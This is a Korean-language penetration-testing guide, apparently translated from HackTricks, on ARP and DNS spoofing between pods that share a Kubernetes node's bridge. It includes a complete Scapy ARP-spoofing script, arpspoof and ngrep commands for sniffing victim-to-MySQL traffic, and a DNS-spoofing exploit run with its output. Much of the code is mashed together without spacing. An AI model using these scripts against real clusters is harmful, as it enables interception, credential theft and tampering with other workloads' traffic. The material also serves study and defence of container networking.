Kubernetes에서는 기본 동작이 같은 노드에 있는 모든 컨테이너 간의 연결을 허용하는 것으로 관찰됩니다. 이는 네임스페이스 구분에 관계없이 적용됩니다. 이러한 연결성은 Layer 2 (이더넷)까지 확장됩니다. 결과적으로, 이 구성은 시스템을 취약점에 노출시킬 가능성이 있습니다. 특히, 악의적인 컨테이너가 같은 노드에 위치한 다른 컨테이너에 대해 ARP 스푸핑 공격을 실행할 수 있는 가능성을 열어줍니다. 이러한 공격 중에 악의적인 컨테이너는 다른 컨테이너를 위한 네트워크 트래픽을 속여 가로채거나 수정할 수 있습니다.
ARP 스푸핑 공격은 공격자가 지역 네트워크를 통해 위조된 ARP (주소 확인 프로토콜) 메시지를 전송하는 것을 포함합니다. 이로 인해 공격자의 MAC 주소가 네트워크의 합법적인 컴퓨터 또는 서버의 IP 주소와 연결됩니다. 이러한 공격이 성공적으로 실행된 후, 공격자는 전송 중인 데이터를 가로채거나 수정하거나 심지어 중단할 수 있습니다. 이 공격은 OSI 모델의 Layer 2에서 실행되므로, Kubernetes에서 이 레이어의 기본 연결성이 보안 문제를 제기합니다.
4개의 머신이 생성될 시나리오는 다음과 같습니다:
ubuntu-pe: 노드로 탈출하고 메트릭을 확인하기 위한 권한 있는 머신 (공격에 필요하지 않음)
일반적으로 노드 내의 pod-to-pod 네트워킹은 모든 pod를 연결하는 브리지를 통해 가능합니다. 이 브리지는 “cbr0”라고 불립니다. (일부 네트워크 플러그인은 자체 브리지를 설치합니다.) cbr0는 ARP (주소 확인 프로토콜) 해상도도 처리할 수 있습니다. 들어오는 패킷이 cbr0에 도착하면 ARP를 사용하여 목적지 MAC 주소를 확인할 수 있습니다.
이 사실은 기본적으로 같은 노드에서 실행되는 모든 pod가 같은 노드의 다른 pod와 통신할 수 있다는 것을 의미합니다 (네임스페이스와 관계없이) 이더넷 수준(계층 2)에서.
따라서 같은 노드의 pod 간에 ARP 스푸핑 공격을 수행할 수 있습니다.
DNS
Kubernetes 환경에서는 일반적으로 kube-system 네임스페이스에서 1개(또는 그 이상)의 DNS 서비스가 실행되고 있습니다:
이전 정보에서 흥미로운 점을 볼 수 있습니다. 서비스의 IP는 10.96.0.10이지만 서비스를 실행하는 포드의 IP는 172.17.0.2입니다.
어떤 포드 안에서 DNS 주소를 확인하면 다음과 같은 내용을 찾을 수 있습니다:
cat /etc/resolv.conf
nameserver 10.96.0.10
그러나 pod는 그 주소에 어떻게 가야 할지 모릅니다. 이 경우 pod 범위는 172.17.0.10/26입니다.
따라서 pod는 10.96.0.10 주소로 DNS 요청을 보낼 것입니다, 이는 cbr0에 의해 172.17.0.2로 변환됩니다.
이는 pod의 DNS 요청이 항상브리지를 통해 서비스 IP를 엔드포인트 IP로 변환하기 위해 간다는 것을 의미합니다. DNS 서버가 pod와 같은 서브네트워크에 있더라도 말입니다.
이 사실을 알고, ARP 공격이 가능하다는 것을 알면, 노드의 pod는 서브네트워크 내의 각 pod와 브리지 간의 트래픽을 가로챌 수 있으며, DNS 서버로부터의 DNS 응답을 수정할 수 있습니다 (DNS 스푸핑).
게다가, DNS 서버가 공격자와 같은 노드에 있다면, 공격자는 클러스터 내의 어떤 pod의 모든 DNS 요청을 가로챌 수 있으며 (DNS 서버와 브리지 간), 응답을 수정할 수 있습니다.
같은 노드의 pods에서 ARP 스푸핑
우리의 목표는 ubuntu-victim에서 mysql로의 통신을 최소한 훔치는 것입니다.
Scapy
python3/tmp/arp_spoof.pyEnterTargetIP:172.17.0.10#ubuntu-victimEnterGatewayIP:172.17.0.9#mysqlTargetMAC02:42:ac:11:00:0aGatewayMAC:02:42:ac:11:00:09SendingspoofedARPresponses# Get another shellkubectlexec-itubuntu-attack--bashngrep-deth0# Login from ubuntu-victim and mysql and check the unencrypted communication# interacting with the mysql instance
arp_spoof.py
#From https://gist.github.com/rbn15/bc054f9a84489dbdfc35d333e3d63c87#file-arpspoofer-pyfrom scapy.all import*defgetmac(targetip):arppacket=Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(op=1, pdst=targetip)targetmac=srp(arppacket, timeout=2 , verbose=False)[0][0][1].hwsrcreturn targetmacdefspoofarpcache(targetip,targetmac,sourceip):spoofed=ARP(op=2 , pdst=targetip, psrc=sourceip, hwdst= targetmac)send(spoofed, verbose=False)defrestorearp(targetip,targetmac,sourceip,sourcemac):packet=ARP(op=2 , hwsrc=sourcemac , psrc= sourceip, hwdst= targetmac , pdst= targetip)send(packet, verbose=False)print("ARP Table restored to normal for", targetip)defmain():targetip=input("Enter Target IP:")gatewayip=input("Enter Gateway IP:")try:targetmac=getmac(targetip)print("Target MAC", targetmac)except:print("Target machine did not respond to ARP broadcast")quit()try:gatewaymac=getmac(gatewayip)print("Gateway MAC:", gatewaymac)except:print("Gateway is unreachable")quit()try:print("Sending spoofed ARP responses")whileTrue:spoofarpcache(targetip, targetmac, gatewayip)spoofarpcache(gatewayip, gatewaymac, targetip)exceptKeyboardInterrupt:print("ARP spoofing stopped")restorearp(gatewayip, gatewaymac, targetip, targetmac)restorearp(targetip, targetmac, gatewayip, gatewaymac)quit()if__name__=="__main__":main()# To enable IP forwarding: echo 1 > /proc/sys/net/ipv4/ip_forward
ARPSpoof
aptinstalldsniffarpspoof-t172.17.0.9172.17.0.10
DNS Spoofing
이미 언급했듯이, 만약 당신이 DNS 서버 포드와 같은 노드에 있는 포드를 손상시키면, 당신은 ARPSpoofing을 사용하여 브리지와 DNS 포드 간에 MitM을 수행하고 모든 DNS 응답을 수정할 수 있습니다.
우리의 시나리오에서는, 공격자 포드에 도구를 다운로드하고 스푸핑하려는 도메인이 포함된 **hosts라는 이름의 파일을 생성**합니다:
cat hosts
google.com. 1.1.1.1
ubuntu-victim 머신에 공격을 수행합니다:
python3 exploit.py --direct 172.17.0.10
[*] starting attack on direct mode to pod 172.17.0.10
Bridge: 172.17.0.1 02:42:bd:63:07:8d
Kube-dns: 172.17.0.2 02:42:ac:11:00:02
[+] Taking over DNS requests from kube-dns. press Ctrl+C to stop
#In the ubuntu machinediggoogle.com[...];; ANSWERSECTION:google.com.1INA1.1.1.1
자신만의 DNS 스푸핑 스크립트를 만들려고 할 경우, DNS 응답을 수정하는 것만으로는작동하지 않습니다, 왜냐하면 응답은 악성포드의 src IP 주소를 가지게 되어 수락되지 않기 때문입니다.
피해자가 DNS 요청을 보낸 DNS의 src IP로 새로운 DNS 패킷을 생성해야 합니다 (이는 172.16.0.2와 같은 것이며, 10.96.0.10은 K8s DNS 서비스 IP이고 DNS 서버 IP가 아닙니다. 이에 대한 자세한 내용은 서론에서 다룹니다).
트래픽 캡처
도구 Mizu는 Kubernetes를 위한 간단하면서도 강력한 API 트래픽 뷰어로, 마이크로서비스 간의 모든 API 통신을 볼 수 있게 하여 디버그 및 회귀 문제 해결에 도움을 줍니다.
선택한 포드에 에이전트를 설치하고 그들의 트래픽 정보를 수집하여 웹 서버에 표시합니다. 그러나 이를 위해서는 높은 K8s 권한이 필요하며 (그리고 매우 은밀하지는 않습니다).